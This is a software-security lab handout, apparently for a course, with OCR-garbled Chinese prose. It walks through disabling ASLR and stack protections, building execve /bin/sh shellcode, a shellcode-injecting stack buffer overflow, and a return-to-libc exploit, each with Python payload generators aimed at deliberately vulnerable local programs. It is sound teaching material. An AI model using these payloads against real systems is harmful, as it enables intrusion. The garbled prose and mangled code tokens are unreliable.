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1.1.1 g% VirtualBox

FEFUALAE H VirtualBox e d& & , v DAG 3% (4 F N 75 BRI . 1 2L < https://www.virtualbox.org/wiki/Downloads
Ubuntu ] P/ AT DA DA iy &-443E VirtualBox :

$ sudo apt-get install virtualbox

1.1.2 %% Vagrant

Nk : https://www.vagrantup.com/downloads.html
Ubuntu ff] Al A I PAF iy 2 %¢2%5¢ Vagrant::

$ sudo apt-get install vagrant

1.1.3 fiiJ}{] Vagrant (Ubuntu)

FATAT AL Vagrant fRT7 (i VirtualBox B30, BRI ATRFEE S T 2] box/package.box
FIsr, BATATATE L ik A LAT iy 28— K SUBLER 8

$ cd box # Into box dir

# add package.box image and rename software—security —img
$ vagrant box add software-security-img package.box
$

mkdir -p software-security # New dir software—security
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$ cd software-security # Into software—security dir

$ vagrant init software-security-img # Use software—security —img init
the VM
$ vagrant up # start the VM
vagrant ssh # connect the machine via SSH, we commonly use this

command to connect the VM

1.1.4 Vagrant &4

$ vagrant up # start the VM
vagrant ssh # connect the machine via SSH, we commonly use this command to connect
the VM

$ vagrant halt # stop the VM
$ vagrant [options] <command> [<args>]

Common commands:

box manages boxes: installation, removal, etc.

destroy stops and deletes all traces of the vagrant machine

halt stops the vagrant machine

init initializes a new Vagrant environment by creating a Vagrantfile
powershell connects to machine via powershell remoting

reload restarts vagrant machine, loads new Vagrantfile configuration
ssh connects to machine via SSH

status outputs status of the vagrant machine

up starts and provisions the vagrant environment

help shows the help for a subcommand
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1.2.1  HuhkzsRBidLfk (Address Sapce Randomization)

Ubuntu FIHE linux RGBT HbE S RIBEHLL SR [2 1 RKFER, HEFISIAS R IT MG Hu bk BEHL
o BRI AR B AR AL AR AT 2 e AERSEIS , FRATRHZ R KR, By

$ sudo sysctl -w kernel.randomize_va_space=0

1.2.2  #BrPbLill (StackGuard Protection Scheme)

PUE F A ik (goc, clang 25) #RFLHE TR HLE (11, VAR 1E G DX i o B PRAPnT DA 2585 1 G2
PR3 R Al L FRATT AT LAFE 24 15301 18 il ] -fno-stack-protector e 1 2% i fb Ry - 140, 2AEZEH] StackGuard
WG UL N g i) example.c, FATTATATAAT DA T #54E:

$ gcc -fno-stack-protector example.c



1.2.3 A n[Hi4T (Non-Executable Stack)

TEZ R linux REEH, HOZT APATHY, Xt S80T LT THER 1Y shellcode fCHY . RIIHTEILAE &
gorr, — A U R SO AT R AT AV R THERR , FEBRARIIE LT, BAAVFEAE W AT
BRI o FRATT DATE L 8 I G i3 e T ok O A e PR -

For executable stack:

gcc -z execstack -o test test.c

For non—executable stack:

©® H*H & I

gcc -z noexecstack -o test test.c

2 445 Shellcode

IRt 2 1, AT —F shellcode. shellcode 253 shell A .
PR 2 C i 5 830 shell 1S :

#include <stdio.h>

int main() {

execve ("/bin/sh", 0, 0);
}

£ shellcode 4 5 1, — it execve RGET I KJG 8 —1H1Y shell. PATRGEH F e SEEEHITE A I pR 4K
ST RG-S, 32 4 linux AR RS0 A F T PAE dhttps: //chromium. googlesource. com/chromi
umos/docs/+/master/constants/syscalls.md® A1), FATX BEIRE shell A5 F] execve pREL, M
EIH R DAF 2 execve [T 15 /2 0x0b, FF 24X 0x0b 445 eax, HE AT int Ox80 Frhily, il RacHh
W, AR WS AR S 3 A7 B IR TR 3R G R 4

Linux Syscall Reference

Show 10 [ entries

Registers
# a Name
eax ¢ ebx ¢ ecx ¢ edx ¢ esi

11 sys_execve 0x0b char __user * char __user *__user * char __user *__user * struct pt_regs *
Showing 1 to 1 of 1 entries (filtered from 338 total entries)

P&l 1: Execve Syscall

PR FRAT TR AGE FH Y 4 i 5 R 4R 5 shellcode, AT AR BV B — 0B . B3 0R -
* KRGS 0xb A Z] eax
o ebx fRAF ARG M A — DS EEN /bin/sh” FAFERHIE, ecx 524, WIEN 0.
AHR T ARG AN -
global _start
_start:

XOor eax,eax

push eax

push "//sh"

push "/bin" ; push "/bin//sh"

mov ebx,esp , first argument, points to the address of "/bin//sh"
mov ecx,eax , second argument

xor edx,edx , third argument


https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md

mov al,0Bh ; execve system

int 80h

call

number

b AR SCPEE AT gk e, ARG ISR, 1T PAFRTS shellcode.

$ nasm -f elf32 shellcode.asm
$ 1d -m elf_i386 -o shallcode shellcode.o

$ objdump -d shellcode

Y3R751) shellcode B A shellcode.c H1, MM AT PAJEB—A 35717 shell,

// shellcode .c

// gcc —z execstack —o shellcode

#include <stdlib.h>
#include <stdio.h>

#include <string.h>

const char code[] =

"\x31\xcO"

"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"

"\x89\xc1"

"\x31\xd2"

"\xb0\x0b"

"\xcd\x80"

int main(int argc, char #**argv){
char buf[sizeof (code)];
strcpy (buf, code);
((void (¥) O)buf) O);

}
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//
//

//
//
//
//
//
//

xor
push
push
push
mov
movy
xor
mov

int

shellcode . c

Joeax , % eax
Yoe ax
$0x68732f2f
30x6¢69622f
Yoesp , % ebx

Jeax , $ecx

Dedx , Y%edx

$0xb, % al
$0x80

$ gcc -z execstack -o shellcode shellcode.c

$ ./shellcode
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3 Buffer Overflow
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3.2

#include <stdlib.h>

#include <stdio.h>

/%
gcc —o bufl bufl.c —fno—stack—protector
*/
int main ()
{
int var;
int check = 0x04030201; // buffer overflow to modify this value
char buf [40];
// buffer overflow
fgets (buf ,45,stdin) ;
printf ("\n[bufl: %s\n", buf);
printf (" [check] Y%p\n", check);
if ((check != 0x04030201) && (check != Oxdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == Oxdeadbeef)
{
printf ("Yeah dude! You win!\nOpening your shell...\n");
system("/bin/dash") ;
printf ("Shell closed! Bye.\n");
}
return O;
}

ARl
BUAELLFEATFI T buffer overflow Y SCBUF R R B FF ety , A IR 4 F

// buf2.c

// gcc —z execstack —o buf2 buf2.c —fno—stack—protector

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#include <unistd.h>

void vul (char *str){
char buffer [36];
// buffer overflow
strcpy (buffer, str);

int main(int argc, char x**argv){
char str[128];
FILE *file;



file = fopen("attack_input2", "r");
fread(str, sizeof (char), 128, file);
vul (str) ;

printf ("Returned Properly\n");

return O;

}

ZREFAE vul A buffer overflow Yl , K AT DAMRIEZ IR G 1 vl sRECR R [IHbhE , ATk 3]
HIREFEEH .

BRI B B 5 2 shellcode, FFEAF LG buffer 2T, FATHR AL B -

* buffer F1H AL E shellcode

o BEEHCE BN (nop) LM X i

o VHRLR ] HEAG B S buffer FAGALI S, HAFIZALI NAECH shellcode (1)1

Forp, shellcode [t 1k AR [ ) RS v] DATE S gdb IIAERAS . BT KM T ASLR, BTz
Tt it 2 —FE . I, PTRAGEST gdb Pk 3545 shellcode 1) gy Mkl DA S iR [ Hbdik 5 buffer 1) offset.



Tt Hi JE B B AR SR T -

| ___arg______ | | |
| _ret addr___| ~ High | shellcode addr|
| | | | |
| | | | |
| | | Low | o __ |
| _buf [4-7] ___| | shellcode [4-7]|
| _buf [0-3]___| | shellcode [0-3] 1|
before attack after attack

Horbr, FRATERAE T e AR AR R O iE A, RE R TFEAER A RS offset F1 buffer_addr A% &

#!/usr/bin/python

# —%— coding: utf—-8 —x—
# attack_input2.py
import sys

import struct

shellcode = ’\x31\xc0’ \

’\x50° \
*’\x68\x2f\x2f\x73\x68° \
’\x68\x2f\x62\x69\x6e’ \
’\x89\xe3’ \

’\x89\xc1’ \

’\x31\xd2’ \

’\xb0\x0b’ \

’\xcd\x80’ \

offset = Oxff # modify it

buffer_addr = Oxffffffff # modify it with the address of shellcode

## Put the shellcode at the begin

buf = shellcode + (offset - len(shellcode) -4)*°\x90’ + 2% struct.pack(’<I’, buffer_addr)

file = open(’attack_input2’, ’wb?’)
file.write (buf)
file.close ()

T BER, WT gdb PR AR G 2O R R AP R E] 5 SRk s ), B gdb Angag Tk R

23] 5 TR E OB S R —E 80, BT gdb P3RS buffer_addr AR THEATIEIER
buffer_addr, [Ht, M{Riaft —dEHIR PG, PTRES A4 crash. BUES AT DAGE 218 242 i) coredump[3] 3¢

7,

J¥,

RGP coredump S, AT ARAT B ) IE A AY A Mk

$ ulimit -c unlimited
$ ./buf2 # crash, current path will have the file ’core’
$ gdb buf2 core # debug ’core’ file , get the correct buffer\ _addr

R IEHARY offset 5 buffer_addr 5 A F| attack_inputl.py (A, FH@BirzBIALE i A, 984T buf2 72
SEI



$ python attack_input2.py
$ ./buf2

4 return-to-libc

e E— s, FATRARATTHAT RGP K T, 15 shellcode Y5 DASIEN S0t . AT, FEBLSL 1
Firb, — SR TR HATORY, (EA5FRAT AT EFEAR 34T shellcode. IUFELEFRAT] T f# ret-to-libe 7§
i, RUCE A libe 2 B AFAE R BRECE JE 84> shell, TR B -

TEZG T, vul EKECH —> buffer overflow i, A1 1% buffer X ret #hE1&HCH libe H1) system
PRECHNE, TS EUL N bin/sh’ [l , BRI /T :

| __ | |>/bin/sh’ addr|

| ___arg______ | | _ret__________ |
| _ret addr___| ~ High | _system () addr|
| | | | |
| | | | o __ |
e oo | | Low e e |
| _buf[4-7]___| | _buf [4-7] _____ |
| _buf [0-3]___1I | _buf [0-3] _____ |
before attack after attack
// buf3.c

// gcc -o buf3 buf3.c -fno-stack-protector

#include <stdlib .h>
#include <stdio.h>
#include <string .h>

#include <unistd.h>

void vul (char *str){
char buffer [36];
// buffer overflow
strcpy (buffer, str);

int main(int argc, char x**xargv){
char str[128];
FILE xfile;
file = fopen("attack_input3", "r");
fread(str, sizeof (char), 128, file);
vul (str) ;
printf ("Returned Properly\n");
return O;

}

Wi AN -

#!/usr/bin/python
# —x— coding: utf—-8 —x—



# attack_input3.py

import sys

import struct

offset = Oxff # modify it

system_addr = Oxffffffff # modify it

binsh_addr = Oxffffffff # modify it

ret = Oxdeadbeef

## Put the shellcode at the begin

buf = (offset-4)*’\x90° + 2x struct.pack(’<I’, system_addr) + struct.pack(’<I’, ret) +
struct.pack(’<I’, binsh_addr)

buf += (128 - len(buf)) * ’a’

file = open(’attack_input3’, ’wb?’)

file.write (buf)

file.close()

REFHEAEWIH AR Y offset, system_addr F/l binsh_addr f{H, 5T Ui/ 54% libc Hf) system K5CA

binsh fYHLhE, KEW ASHZEAE [4].

BUsEr L m, TR

$ python attack_input3.py
$ ./buf3

T AL AR R S0 T A buffer overflow Hity, iXig— 445~ , ARORAFIRAZ LR . So

just enjoy it!
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* GDB Tutorial: https://web.eecs.umich.edu/ sugih/pointers/summary.html
* GDB User Manual: http://sourceware.org/gdb/current/onlinedocs/gdb/
* 100 4~ gdb /NEFTS : https://wizardforcel.gitbooks.io/100-gdb-tips/content/
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